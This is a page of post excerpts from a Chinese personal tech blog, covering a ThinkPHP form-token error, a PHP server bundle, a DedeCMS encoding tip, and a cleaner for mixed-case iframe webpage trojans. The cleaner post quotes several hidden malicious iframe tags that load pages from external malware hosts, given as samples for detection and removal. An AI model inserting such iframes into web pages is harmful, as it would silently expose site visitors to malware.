分类: 个人作品预览模式: 普通 | 列表

版权声明:原创作品,谢绝转载!否则将追究法律责任。
今天写一个小程序,结果遇到一个错误,提示表单令牌验证出错,尝试了好多办法也不行,搜索网络也找不到好的解决办法,又不想直接屏蔽掉这个功能,屏蔽掉会不安全的。用httpwatch抓包结果发现(图中红色标注)
 
 
由于有2个图片地址错误,导致多次加载了表单页面,从而导致了表单令牌验证的session值发生了变化,所以出现表单令牌验证错误提示,把图片地址改正以后,世界清静了,也算是Thinkphp的一个小bug吧~~
 
以下是官方手册对于令牌验证的解释:
==================================
令牌验证
 
ThinkPHP新版内置了表单令牌验证功能,可以有效防止表单的远程提交等安全防护。
 

 

表单令牌验证相关的配置参数有:
'TOKEN_ON'=>true,  // 是否开启令牌验证
'TOKEN_NAME'=>'__hash__',    // 令牌验证的表单隐藏字段名称
'TOKEN_TYPE'=>'md5',  //令牌哈希验证规则默认为MD5
如果开启表单令牌验证功能,系统会自动在带有表单的模板文件里面自动生成以TOKEN_NAME为名称的隐藏域,其值则是TOKEN_TYPE方式生成的哈希字符串,用于实现表单的自动令牌验证。
自动生成的隐藏域位于表单Form结束标志之前,如果希望自己控制隐藏域的位置,可以手动在表单页面添加{__TOKEN__} 标识,系统会在输出模板的时候自动替换。如果在开启表单令牌验证的情况下,个别表单不需要使用令牌验证功能,可以在表单页面添加{__NOTOKEN__},则系统会忽略当前表单的令牌验证。
如果页面中存在多个表单,建议添加{__TOKEN__}标识,并确保只有一个表单需要令牌验证。
模型类在创建数据对象的同时会自动进行表单令牌验证操作,如果你没有使用create方法创建数据对象的话,则需要手动调用模型的autoCheckToken方法进行表单令牌验证。如果返回false,则表示表单令牌验证错误。例如:
$User = M("User"); // 实例化User对象
// 手动进行令牌验证
if (!$User->autoCheckToken($_POST)){
// 令牌验证错误
}

Tags: Thinkphp 表单令牌验证

分类:个人作品 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 11

本套装包含以下内容:
Nginx/0.8.29  (Nginx change log)
Php 5.2.9-2
Mysql5.0.51a  默认用户名:root 默认密码:123456
Zend Optimizer v3.3.3
eAccelerator v0.9.5.3
PhpMyadmin 3.1.1

说明:

     1 请解压到非中文目录下,然后点击RunMonitor.exe运行,
        退出主程序会自动关闭服务,可以将RunMonitor.exe最小化
        如果nginx运行失败 请检查本机80端口是否被iis、apache或者迅雷等占用

查看更多...

Tags: nginx套装 PHP Mysql ZendOptimizer eaccelerator

分类:个人作品 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 592

DeDeCms标签中utf8转gb2312

文章转载请注明出自扬帆blog http://www.wesoho.com

遇到一个特殊的应用,utf8版本的dedecms,使用iframe包含了一个页面,是gb2312编码的,这样使用arclist标签的时候出来的是乱码,这样就需要输出的时候转换一下。

解决办法如下: 

[field:title function='iconv("UTF-8","gb2312//IGNORE","@me")'/]

分类:个人作品 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 44

声明:ifraMe大小写变形、script网马清理器是由扬帆独立开发,作者免费发布供广大站长朋友使用,保留版权。扬帆blog为唯一官方网站,除此站点下载的文件有可能被捆绑木马,请认准官方网站,下载最新版本。另外作者开发软件,纯属公益性质,原则上不提供任何技术支持,对软件使用过程中发生的任何损失均不负责,禁止任何人以任何形式修改此软件。转载此软件请注明作者和本页连接,谢谢合作。

下午看到一个帖子,有人问 “最变态的网页挂马方式,大家来看怎么处理”
http://www.im286.com/viewthread.php?tid=2370947&pid=23909560&page=1&extra=page%3D1#pid23909560
看了一下是iframe大小写混合变形的马,类似这种形式
<iframe src=http://pr.749571.com/ww/new05.htm?013 width=1 height=1></iframe>
<Iframe src=http://aaa.77xxmm.cn/new858.htm?075 wiDth=0 name='8411' hEight=0></iframE><iframE src=hTTp://aaa.1l1l1l.com/error/404.hTml widTh=0 name='8411' HeigHt=0></iframe>


想了想写了个小工具,提供给落伍各位站长用,刚写完没怎么测试,有什么bug大家给我反馈下~谢谢


使用说明:
本软件专门清理iframe大小写混合网页马,比如要清理掉以下内容:
<ifraMe src=http://aaa.77xxmm.cn/new858.htm?075 width=0 nAme='5302'
height=0></ifrAme>
<iframe src=http://ppp.749571.com/ww/new05.htm?013 width=1 height=1></iframe>

网页木马关键词:77xxmm.cn,然后点搜索,搜索完毕后点清理木马
一个关键词清理完了,可以换个关键词:749571.com,再点清理木马

更新了一个版本:最新版支持iframe大小写木马,script形式挂马清,理默认后缀增加了php和inc,本次提供的是

查看更多...

Tags: iframe script 大小写变形 网马清理器

分类:个人作品 | 固定链接 | 评论: 12 | 引用: 0 | 查看次数: 7093

【推荐】武术视频收集

我收集的武术视频资料建立了一个视频博客,欢迎各位武术爱好者光临指导

 http://blog.ku6.com/2191458/

  • 梅花桩
  • 太极拳
  • 九节鞭
  • 其他
  • 春秋大刀
  • Tags: 梅花桩 太极拳 九节鞭 春秋大刀

    分类:个人作品 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 1265

    smtp_mail.php

    <?php
    /*
    如果转载请注明处出,您可以对此代码进行一定的修改和优化以达到您需要的目的

    *  名称:用Socket发送电子邮件
    *  描述:本类实现了直接使用需要验证的SMTP服务器直接发送邮件,参考文章《用Socket发送电子邮件》作者:limodou
    *        此文章比较早,他是用不用验证SMTP服务器发送邮件,现在基本上SMTP服务器都需要验证了,所以这个文章里的类
    不是很大!同时参考了RFC 1869]和PHP手册!!和上文还有不同的是我用的不是fsockopen()函数
    具体你自己看吧!!我刚刚测试通过了,很爽!!
    其实把这个类再改写一下就可以直接发送带附件的邮件了,期待。。。我过几天给大家写出来!
    我刚刚调试通过,如果你不恶意去捉弄这个程序,他还是很听话的,过些日子我会对他完善加上发送附件的功能!!

    即使你的虚拟主机不支持MAIL函数,现在也不怕了!快快试试这个吧!

    查看更多...

    Tags: PHP Socket 电子邮件 163

    分类:个人作品 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2023